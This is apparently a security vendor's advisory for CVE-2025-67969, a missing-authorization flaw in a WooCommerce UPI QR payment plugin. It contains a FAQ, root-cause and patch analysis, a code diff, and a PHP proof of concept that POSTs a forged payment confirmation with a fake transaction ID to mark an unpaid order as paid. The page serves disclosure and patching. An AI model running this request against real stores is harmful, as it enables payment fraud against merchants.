What is CVE-2025-67969?

CVE-2025-67969 is a medium severity vulnerability in the UPI QR Code Payment Gateway for WooCommerce plugin. It allows unauthenticated attackers to perform unauthorized actions due to a missing capability check in the payment confirmation handler.

How does this vulnerability work?

The vulnerability allows attackers to submit forged payment confirmations for WooCommerce orders by exploiting a missing authorization check. Attackers can send crafted POST requests to the payment confirmation endpoint, bypassing payment verification.

Who is affected by this vulnerability?

Any WordPress site using the UPI QR Code Payment Gateway for WooCommerce plugin version 1.5.1 or earlier is affected. Administrators should check their plugin version and update if necessary.

How can I check if my site is vulnerable?

To check if your site is vulnerable, navigate to the WordPress admin panel, go to the Plugins section, and look for the UPI QR Code Payment Gateway for WooCommerce. Ensure the version is 1.6.1 or later to be secure.

How can I fix this vulnerability?

The vulnerability is patched in version 1.6.1 of the plugin. Update the plugin to the latest version through the WordPress admin dashboard or by downloading it from the official repository.

What if I cannot update the plugin immediately?

If an immediate update is not possible, consider disabling the plugin until it can be updated. Additionally, review your site’s security measures to limit exposure to potential attacks.

What does the CVSS score of 5.3 indicate?

A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while it is not the most critical, it poses a significant risk that could lead to unauthorized access and potential financial loss.

What are the practical risks of this vulnerability?

Successful exploitation can allow attackers to mark orders as paid without actual payment, leading to financial losses for merchants. This can result in product theft, inventory depletion, and disruption of business operations.

How does the proof of concept demonstrate the issue?

The proof of concept shows how an attacker can craft a POST request to the payment confirmation endpoint with predictable nonce values. It illustrates the ease with which an attacker can exploit the vulnerability to manipulate order statuses.

What is nonce verification and why is it important?

Nonce verification is a security measure used to ensure that requests are legitimate and not forged. In this case, the lack of proper nonce binding to specific orders allows attackers to exploit the system.

What additional security measures should I consider?

In addition to updating the plugin, consider implementing security plugins that monitor for unauthorized access, regularly reviewing user permissions, and conducting security audits to identify other potential vulnerabilities.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-67969: UPI QR Code Payment Gateway for WooCommerce <= 1.5.1 – Missing Authorization (upi-qr-code-payment-for-woocommerce)

CVE ID CVE-2025-67969

Plugin upi-qr-code-payment-for-woocommerce

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 1.5.1

Patched Version 1.6.1

Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-67969:
The UPI QR Code Payment Gateway for WooCommerce plugin contains a missing authorization vulnerability in its payment confirmation handler. This flaw allows unauthenticated attackers to submit forged payment confirmations for arbitrary WooCommerce orders, potentially marking unpaid orders as paid without valid transaction verification.

Root Cause:
The vulnerability resides in the `process_payment_confirmation` function within `/includes/class-payment.php`. The function processes POST requests containing payment confirmation data. In versions up to 1.5.1, the function performed a nonce verification using `wp_verify_nonce($_POST[‘upiwc_nonce’], ‘upiwc’)` at line 804. However, this nonce was created with a static context (`wp_create_nonce(‘upiwc’)` at line 581) and lacked proper binding to the specific order. The function also failed to verify the user’s authorization to modify the order before processing the payment confirmation.

Exploitation:
An attacker can send a POST request to the WooCommerce checkout payment confirmation endpoint, typically `/checkout/order-received/{order_id}/`. The request must include parameters `upiwc_nonce`, `upiwc_order_id`, `upiwc_order_key`, `upiwc_transaction_id`, and `upiwc_transaction_image`. The attacker can brute-force or predict the static nonce value, then submit a forged payment confirmation for any order ID they can obtain. This bypasses the payment verification process.

Patch Analysis:
The patch in version 1.6.1 introduces multiple security enhancements. The nonce generation at line 581 now binds to the specific order key: `wp_create_nonce(‘upiwc_’ . $order->get_order_key())`. The verification at lines 834-835 validates both the nonce and order key parameters exist. The patch adds order key matching verification at lines 837-847, ensuring the submitted key matches the order’s actual key. Additional validation checks at lines 849-856 confirm the order still needs payment and has the expected default status before processing.

Impact:
Successful exploitation allows unauthenticated attackers to mark WooCommerce orders as paid without actual payment. This can lead to financial loss for merchants through product theft, inventory depletion, and order fulfillment costs. Attackers could also manipulate order statuses to disrupt business operations or create false payment records.

Differential between vulnerable and patched code

Code Diff

--- a/upi-qr-code-payment-for-woocommerce/includes/class-payment.php
+++ b/upi-qr-code-payment-for-woocommerce/includes/class-payment.php
@@ -83,7 +83,7 @@
 		$this->theme               = $this->get_option( 'theme', 'light' );
 		$this->transaction_id      = $this->get_option( 'transaction_id', 'show_require' );
 		$this->transaction_image   = $this->get_option( 'transaction_image', 'show_require' );
-		$this->intent              = $this->get_option( 'intent', 'no' );
+		$this->intent              = 'no';// $this->get_option( 'intent', 'no' );
 		$this->download_qr         = $this->get_option( 'download_qr', 'no' );
 		$this->qrcode_mobile       = $this->get_option( 'qrcode_mobile', 'yes' );
 		$this->hide_on_mobile      = $this->get_option( 'hide_on_mobile', 'no' );
@@ -287,7 +287,7 @@
 				'title'       => __( 'Merchant Category Code:', 'upi-qr-code-payment-for-woocommerce' ),
 				'type'        => 'number',
 				'description' => sprintf( '%s <a href="https://www.citibank.com/tts/solutions/commercial-cards/assets/docs/govt/Merchant-Category-Codes.pdf" target="_blank">%s</a> or <a href="https://docs.checkout.com/resources/codes/merchant-category-codes" target="_blank">%s</a>', __( 'You can refer to these links to find out your MCC.', 'upi-qr-code-payment-for-woocommerce' ), 'Citi Bank', 'Checkout.com' ),
-				'default'     => 8931,
+				'default'     => 0000,
 				'desc_tip'    => false,
 			],
 			'theme'               => [
@@ -328,6 +328,7 @@
 					'show_require' => __( 'Show & Require Input Field', 'upi-qr-code-payment-for-woocommerce' ),
 				],
 			],
+			/*
 			'intent'              => [
 				'title'       => __( 'Payment Buttons:', 'upi-qr-code-payment-for-woocommerce' ),
 				'type'        => 'checkbox',
@@ -335,7 +336,7 @@
 				'description' => sprintf( '%s <span style="color: #ff0000;font-weight: 600;">%s</span>', __( 'Enable this if you want to show direct pay now option.', 'upi-qr-code-payment-for-woocommerce' ), __( 'The payment Button will work only if the UPI Intent feature is enabled on your UPI ID.', 'upi-qr-code-payment-for-woocommerce' ) ),
 				'default'     => 'no',
 				'desc_tip'    => false,
-			],
+			],*/
 			'download_qr'         => [
 				'title'       => __( 'Download Button:', 'upi-qr-code-payment-for-woocommerce' ),
 				'type'        => 'checkbox',
@@ -450,10 +451,10 @@

 		$required    = '';
 		$upi_address = ( isset( $_POST['customer_upiwc_address'] ) ) ? sanitize_text_field( wp_unslash( $_POST['customer_upiwc_address'] ) ) : $upi_address;
-		$placeholder = ( $this->upi_address === 'show_handle' ) ? 'mobilenumber' : 'mobilenumber@oksbi';
+		$placeholder = ( 'show_handle' === $this->upi_address ) ? 'mobilenumber' : 'mobilenumber@oksbi';
 		$placeholder = apply_filters( 'upiwc_upi_address_placeholder', $placeholder );

-		if ( $this->require_upi === 'yes' ) {
+		if ( 'yes' === $this->require_upi ) {
 			$required = ' <span class="required">*</span>';
 		}

@@ -465,7 +466,7 @@
 					<label><?php echo esc_html__( 'UPI Address', 'upi-qr-code-payment-for-woocommerce' ) . $required; ?></label>
 					<div class="upiwc-input-field">
 						<input id="upiwc-address" pattern="[a-zA-Z0-9]+" class="upiwc-address <?php echo esc_attr( str_replace( '_', '-', $this->upi_address ) ); ?>" name="customer_upiwc_address" type="text" autocomplete="off" placeholder="e.g. <?php echo esc_attr( $placeholder ); ?>" value="<?php echo esc_attr( $upi_address ); ?>">
-						<?php if ( $this->upi_address === 'show_handle' ) { ?>
+						<?php if ( 'show_handle' === $this->upi_address ) { ?>
 							<select id="upiwc-handle" name="customer_upiwc_handle" style="width: 100%;"><option selected disabled hidden value=""><?php esc_html_e( '-- Select --', 'upi-qr-code-payment-for-woocommerce' ); ?></option>
 								<?php
 								foreach ( $handles as $handle ) {
@@ -499,21 +500,21 @@
 	 * Validate UPI ID field
 	 */
 	public function validate_fields() {
-		if ( empty( $_POST['customer_upiwc_address'] ) && in_array( $this->upi_address, [ 'show', 'show_handle' ] ) && $this->require_upi === 'yes' ) {
+		if ( empty( $_POST['customer_upiwc_address'] ) && in_array( $this->upi_address, [ 'show', 'show_handle' ] ) && 'yes' === $this->require_upi ) {
 			wc_add_notice( __( '<strong>UPI Address</strong> is a required field.', 'upi-qr-code-payment-for-woocommerce' ), 'error' );
 			return false;
 		}

-		if ( empty( $_POST['customer_upiwc_handle'] ) && $this->upi_address === 'show_handle' && $this->require_upi === 'yes' ) {
+		if ( empty( $_POST['customer_upiwc_handle'] ) && 'show_handle' === $this->upi_address && 'yes' === $this->require_upi ) {
 			wc_add_notice( __( '<strong>UPI Handle</strong> is a required field.', 'upi-qr-code-payment-for-woocommerce' ), 'error' );
 			return false;
 		}

 		$regex = '/^[_a-z0-9-]+(.[_a-z0-9-]+)*@[a-z0-9-]+(.[a-z0-9-]+)*$/i';
-		if ( $this->upi_address === 'show_handle' ) {
+		if ( 'show_handle' === $this->upi_address ) {
 			$regex = '/^[_a-z0-9-]+(.[_a-z0-9-]+)*$/i';
 		}
-		if ( in_array( $this->upi_address, [ 'show', 'show_handle' ] ) && $this->require_upi === 'yes' && ! preg_match( $regex, sanitize_text_field( $_POST['customer_upiwc_address'] ) ) ) {
+		if ( in_array( $this->upi_address, [ 'show', 'show_handle' ] ) && 'yes' === $this->require_upi && ! preg_match( $regex, sanitize_text_field( $_POST['customer_upiwc_address'] ) ) ) {
 			wc_add_notice( __( 'Please enter a <strong>valid UPI Address</strong>!', 'upi-qr-code-payment-for-woocommerce' ), 'error' );
 			return false;
 		}
@@ -529,7 +530,7 @@
 			return;
 		}

-		if ( is_checkout() && $this->upi_address !== 'hide' ) {
+		if ( is_checkout() && 'hide' !== $this->upi_address ) {
 			wp_enqueue_style( 'upiwc-selectize', plugins_url( 'css/selectize.min.css', __FILE__ ), [], '0.15.2' );
 			wp_enqueue_style( 'upiwc-checkout', plugins_url( 'css/checkout.min.css', __FILE__ ), [ 'upiwc-selectize' ], UPIWC_VERSION );

@@ -580,7 +581,7 @@
 				'payee_vpa'         => $payee_vpa,
 				'payee_name'        => preg_replace( '/[^p{L}p{N}s]/u', '', $this->name ),
 				'is_mobile'         => ( wp_is_mobile() ) ? 'yes' : 'no',
-				'nonce'             => wp_create_nonce( 'upiwc' ),
+				'nonce'             => wp_create_nonce( 'upiwc_' . $order->get_order_key() ),
 				'app_version'       => UPIWC_VERSION,
 			]
 		);
@@ -655,12 +656,12 @@
 		wp_enqueue_script( 'upiwc-jquery-confirm' );
 		wp_enqueue_script( 'upiwc-payment' );

-		$hide_mobile_qr   = ( wp_is_mobile() && $this->qrcode_mobile === 'no' );
-		$show_intent_btn  = ( wp_is_mobile() && $this->intent === 'yes' );
-		$show_qr_download = ( wp_is_mobile() && $this->download_qr === 'yes' );
+		$hide_mobile_qr   = ( wp_is_mobile() && 'no' === $this->qrcode_mobile );
+		$show_intent_btn  = ( wp_is_mobile() && 'yes' === $this->intent );
+		$show_qr_download = ( wp_is_mobile() && 'yes' === $this->download_qr );

 		$qr_code_class = ( $hide_mobile_qr ) ? 'upiwc-hide' : 'upiwc-show';
-		$form_class    = ( $this->transaction_id !== 'hide' || $this->transaction_image !== 'hide' ) ? 'upiwc-payment-confirm-form-container' : 'upiwc-payment-confirm-form-container upiwc-hidden';
+		$form_class    = ( 'hide' !== $this->transaction_id || 'hide' !== $this->transaction_image ) ? 'upiwc-payment-confirm-form-container' : 'upiwc-payment-confirm-form-container upiwc-hidden';

 		// add html output on payment endpoint
 		if ( 'yes' === $this->enabled && $order->needs_payment() === true && $order->has_status( $this->default_status ) && ! empty( $payee_vpa ) ) {
@@ -760,22 +761,22 @@
 						<div class="upiwc-payment-confirm" style="display: none;">
 							<div class="<?php echo esc_attr( $form_class ); ?>">
 								<form id="upiwc-payment-confirm-form" class="upiwc-payment-confirm-form">
-									<?php if ( $this->transaction_id !== 'hide' ) { ?>
+									<?php if ( 'hide' !== $this->transaction_id ) { ?>
 										<div class="upiwc-form-row">
 											<label for="upiwc-payment-transaction-number">
 												<strong><?php esc_html_e( 'Enter 12-digit Transaction / UTR / Reference ID:', 'upi-qr-code-payment-for-woocommerce' ); ?></strong>
-												<?php if ( $this->transaction_id === 'show_require' ) { ?>
+												<?php if ( 'show_require' === $this->transaction_id ) { ?>
 													<span class="field-required">*</span>
 												<?php } ?>
 											</label>
 											<input type="text" id="upiwc-payment-transaction-number" name="upiwc_transaction_id" maxlength="12" onkeypress="return upiwcIsNumber(event)" />
 										</div>
 									<?php } ?>
-									<?php if ( $this->transaction_image !== 'hide' ) { ?>
+									<?php if ( 'hide' !== $this->transaction_image ) { ?>
 										<div class="upiwc-form-row">
 											<label for="upiwc-payment-file">
 												<strong><?php esc_html_e( 'Upload Screenshot:', 'upi-qr-code-payment-for-woocommerce' ); ?></strong>
-												<?php if ( $this->transaction_image === 'show_require' ) { ?>
+												<?php if ( 'show_require' === $this->transaction_image ) { ?>
 													<span class="field-required">*</span>
 												<?php } ?>
 											</label>
@@ -803,21 +804,56 @@
 			return;
 		}

-		if ( empty( $_POST['upiwc_nonce'] ) || ! wp_verify_nonce( $_POST['upiwc_nonce'], 'upiwc' ) ) {
-			$title = __( 'Security cheeck failed!', 'upi-qr-code-payment-for-woocommerce' );
-
+		if ( empty( $_POST['upiwc_nonce'] ) || empty( $_POST['upiwc_order_key'] ) ) {
+			$title = __( 'Mandatory fields are missing.', 'upi-qr-code-payment-for-woocommerce' );
 			wp_die( $title, get_bloginfo( 'name' ) );
 			exit;
 		}

-		// generate order
-		$order = wc_get_order( absint( $_POST['upiwc_order_id'] ) );
-
+		// Get order first to verify nonce
+		$post_order_key = sanitize_text_field( $_POST['upiwc_order_key'] );
+		$post_order_id  = absint( $_POST['upiwc_order_id'] );
+		$order          = wc_get_order( $post_order_id );
+
 		if ( ! is_a( $order, 'WC_Order' ) ) {
-			$order_id = wc_get_order_id_by_order_key( sanitize_text_field( $_POST['upiwc_order_key'] ) );
+			$order_id = wc_get_order_id_by_order_key( $post_order_key );
 			$order    = wc_get_order( $order_id );
 		}

+		if ( ! is_a( $order, 'WC_Order' ) ) {
+			$title = __( 'Order can't be found against this Order ID.', 'upi-qr-code-payment-for-woocommerce' );
+			wp_die( $title, get_bloginfo( 'name' ) );
+			exit;
+		}
+
+		// Verify order key matches
+		if ( $order->get_order_key() !== $post_order_key ) {
+			$title = __( 'Invalid order key.', 'upi-qr-code-payment-for-woocommerce' );
+			wp_die( $title, get_bloginfo( 'name' ) );
+			exit;
+		}
+
+		// Verify nonce is bound to this order
+		if ( ! wp_verify_nonce( $_POST['upiwc_nonce'], 'upiwc_' . $order->get_order_key() ) ) {
+			$title = __( 'Security check failed!', 'upi-qr-code-payment-for-woocommerce' );
+
+			wp_die( $title, get_bloginfo( 'name' ) );
+			exit;
+		}
+
+		// Verify order needs payment and is in expected status
+		if ( ! $order->needs_payment() ) {
+			$title = __( 'Order does not need payment.', 'upi-qr-code-payment-for-woocommerce' );
+			wp_die( $title, get_bloginfo( 'name' ) );
+			exit;
+		}
+
+		if ( ! $order->has_status( $this->default_status ) ) {
+			$title = __( 'Order status mismatch.', 'upi-qr-code-payment-for-woocommerce' );
+			wp_die( $title, get_bloginfo( 'name' ) );
+			exit;
+		}
+
 		// check if it an order
 		if ( is_a( $order, 'WC_Order' ) ) {
 			// set upi id as trnsaction id
@@ -1000,7 +1036,7 @@
 	 * @return string
 	 */
 	public function on_hold_payment( $statuses, $order ) {
-		if ( is_a( $order, 'WC_Order' ) && $this->id === $order->get_payment_method() && $order->has_status( 'on-hold' ) && $order->get_meta( '_upiwc_order_paid', true ) !== 'yes' && $this->default_status === 'on-hold' ) {
+		if ( is_a( $order, 'WC_Order' ) && $this->id === $order->get_payment_method() && $order->has_status( 'on-hold' ) && $order->get_meta( '_upiwc_order_paid', true ) !== 'yes' && 'on-hold' === $this->default_status ) {
 			$statuses[] = 'on-hold';
 		}

@@ -1014,7 +1050,7 @@
 	 * @return array
 	 */
 	public function disable_gateway( $available_gateways ) {
-		if ( empty( $this->vpa ) || ( wp_is_mobile() && $this->hide_on_mobile === 'yes' ) ) {
+		if ( empty( $this->vpa ) || ( wp_is_mobile() && 'yes' === $this->hide_on_mobile ) ) {
 			unset( $available_gateways['wc-upi'] );
 		}

--- a/upi-qr-code-payment-for-woocommerce/upi-qr-code-payment-for-woocommerce.php
+++ b/upi-qr-code-payment-for-woocommerce/upi-qr-code-payment-for-woocommerce.php
@@ -3,14 +3,14 @@
  * Plugin Name: UPI QR Code Payment Gateway
  * Plugin URI: https://wordpress.org/plugins/upi-qr-code-payment-for-woocommerce/
  * Description: It enables a WooCommerce site to accept payments through UPI apps like BHIM, Google Pay, Paytm, PhonePe or any Banking UPI app. Avoid payment gateway charges.
- * Version: 1.5.1
+ * Version: 1.6.1
  * Author: Team KnitPay
  * Author URI: https://www.knitpay.org/
  * License: GPLv3
  * Text Domain: upi-qr-code-payment-for-woocommerce
  * Domain Path: /languages
  * WC requires at least: 3.1
- * WC tested up to: 8.6
+ * WC tested up to: 10.3
  * Requires Plugins: woocommerce
  *
  * UPI QR Code Payment Gateway is free software: you can redistribute it and/or modify
@@ -347,7 +347,7 @@
 			$dismiss   = wp_nonce_url( add_query_arg( 'upiwc_notice_action', 'dismiss_rating' ), 'upiwc_notice_nonce' );
 			$no_thanks = wp_nonce_url( add_query_arg( 'upiwc_notice_action', 'no_thanks_rating' ), 'upiwc_notice_nonce' );
 			?>
-
+
 			<div class="notice notice-success">
 				<p><?php esc_html_e( 'Hey, I noticed you've been using UPI QR Code Payment Gateway for more than 2 week – that’s awesome! Could you please do me a BIG favor and give it a <strong>5-star</strong> rating on WordPress? Just to help me spread the word and boost my motivation.', 'upi-qr-code-payment-for-woocommerce' ); ?></p>
 				<p><a href="https://wordpress.org/support/plugin/upi-qr-code-payment-for-woocommerce/reviews/?filter=5#new-post" target="_blank" class="button button-secondary"><?php esc_html_e( 'Ok, you deserve it', 'upi-qr-code-payment-for-woocommerce' ); ?></a> 
@@ -368,7 +368,7 @@
 			$dismiss   = wp_nonce_url( add_query_arg( 'upiwc_notice_action', 'dismiss_donate' ), 'upiwc_notice_nonce' );
 			$no_thanks = wp_nonce_url( add_query_arg( 'upiwc_notice_action', 'no_thanks_donate' ), 'upiwc_notice_nonce' );
 			?>
-
+
 			<div class="notice notice-success">
 				<p><?php esc_html_e( 'Hey, I noticed you've been using UPI QR Code Payment Gateway for more than 2 week – that’s awesome! If you like UPI QR Code Payment Gateway and you are satisfied with the plugin, isn’t that worth a coffee or two? Please consider donating. Donations help me to continue support and development of this free plugin! Thank you very much!', 'upi-qr-code-payment-for-woocommerce' ); ?></p>
 				<p><a href="https://www.sayandatta.co.in/donate" target="_blank" class="button button-secondary"><?php esc_html_e( 'Donate Now', 'upi-qr-code-payment-for-woocommerce' ); ?></a> 
@@ -396,7 +396,7 @@
 			$vpa            = isset( $upiwc_settings['vpa'] ) ? sanitize_text_field( $upiwc_settings['vpa'] ) : '';

 			// Check for specific VPA patterns
-			if ( ! empty( $vpa ) && preg_match( '/^(q.+@ybl|paytmqr.+@[a-z]+|bharatpe.+@[a-z]+|.+@hdfcbank|.+@ikwik|.+@freecharge)$/i', $vpa ) ) {
+			if ( ! empty( $vpa ) && preg_match( '/^(q.+@ybl|paytm.+@[a-z]+|bharatpe.+@[a-z]+|.+@hdfcbank|.+@freecharge)$/i', $vpa ) ) {
 				$show_knit_pay_upi_notice = true;
 			}
 		}
@@ -481,7 +481,7 @@
 			}
 		}

-		wp_redirect( remove_query_arg( [ 'upiwc_notice_action', '_wpnonce' ] ) );
+		wp_safe_redirect( remove_query_arg( [ 'upiwc_notice_action', '_wpnonce' ] ) );
 		exit;
 	}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67969 - UPI QR Code Payment Gateway for WooCommerce <= 1.5.1 - Missing Authorization

<?php

$target_url = 'https://vulnerable-site.com/checkout/order-received/123/'; // Replace with target
$order_id = 123; // Target order ID
$order_key = 'wc_order_abc123'; // Target order key (obtainable from order confirmation emails or other leaks)

// The static nonce 'upiwc' can be brute-forced or predicted in older versions
// For demonstration, we use a placeholder
$nonce = 'static_nonce_value'; // Would need to be brute-forced in real exploitation

$post_data = [
    'upiwc_nonce' => $nonce,
    'upiwc_order_id' => $order_id,
    'upiwc_order_key' => $order_key,
    'upiwc_transaction_id' => '123456789012', // Fake 12-digit transaction ID
    'upiwc_transaction_image' => '' // Optional screenshot upload
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

// Set appropriate headers for WordPress/WooCommerce request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, 'Order status updated') !== false) {
    echo "[+] Success: Order #$order_id may have been marked as paid.n";
} else {
    echo "[-] Failed with HTTP $http_code. Nonce may need brute-forcing.n";
}

?>

Frequently Asked Questions

What is CVE-2025-67969?
Understanding the vulnerability
CVE-2025-67969 is a medium severity vulnerability in the UPI QR Code Payment Gateway for WooCommerce plugin. It allows unauthenticated attackers to perform unauthorized actions due to a missing capability check in the payment confirmation handler.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability allows attackers to submit forged payment confirmations for WooCommerce orders by exploiting a missing authorization check. Attackers can send crafted POST requests to the payment confirmation endpoint, bypassing payment verification.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the UPI QR Code Payment Gateway for WooCommerce plugin version 1.5.1 or earlier is affected. Administrators should check their plugin version and update if necessary.
How can I check if my site is vulnerable?
Verifying plugin versions
To check if your site is vulnerable, navigate to the WordPress admin panel, go to the Plugins section, and look for the UPI QR Code Payment Gateway for WooCommerce. Ensure the version is 1.6.1 or later to be secure.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is patched in version 1.6.1 of the plugin. Update the plugin to the latest version through the WordPress admin dashboard or by downloading it from the official repository.
What if I cannot update the plugin immediately?
Mitigation strategies
If an immediate update is not possible, consider disabling the plugin until it can be updated. Additionally, review your site’s security measures to limit exposure to potential attacks.
What does the CVSS score of 5.3 indicate?
Understanding severity levels
A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while it is not the most critical, it poses a significant risk that could lead to unauthorized access and potential financial loss.
What are the practical risks of this vulnerability?
Potential impacts on operations
Successful exploitation can allow attackers to mark orders as paid without actual payment, leading to financial losses for merchants. This can result in product theft, inventory depletion, and disruption of business operations.
How does the proof of concept demonstrate the issue?
Illustrating the vulnerability
The proof of concept shows how an attacker can craft a POST request to the payment confirmation endpoint with predictable nonce values. It illustrates the ease with which an attacker can exploit the vulnerability to manipulate order statuses.
What is nonce verification and why is it important?
Role of nonce in security
Nonce verification is a security measure used to ensure that requests are legitimate and not forged. In this case, the lack of proper nonce binding to specific orders allows attackers to exploit the system.
What additional security measures should I consider?
Enhancing overall security
In addition to updating the plugin, consider implementing security plugins that monitor for unauthorized access, regularly reviewing user permissions, and conducting security audits to identify other potential vulnerabilities.

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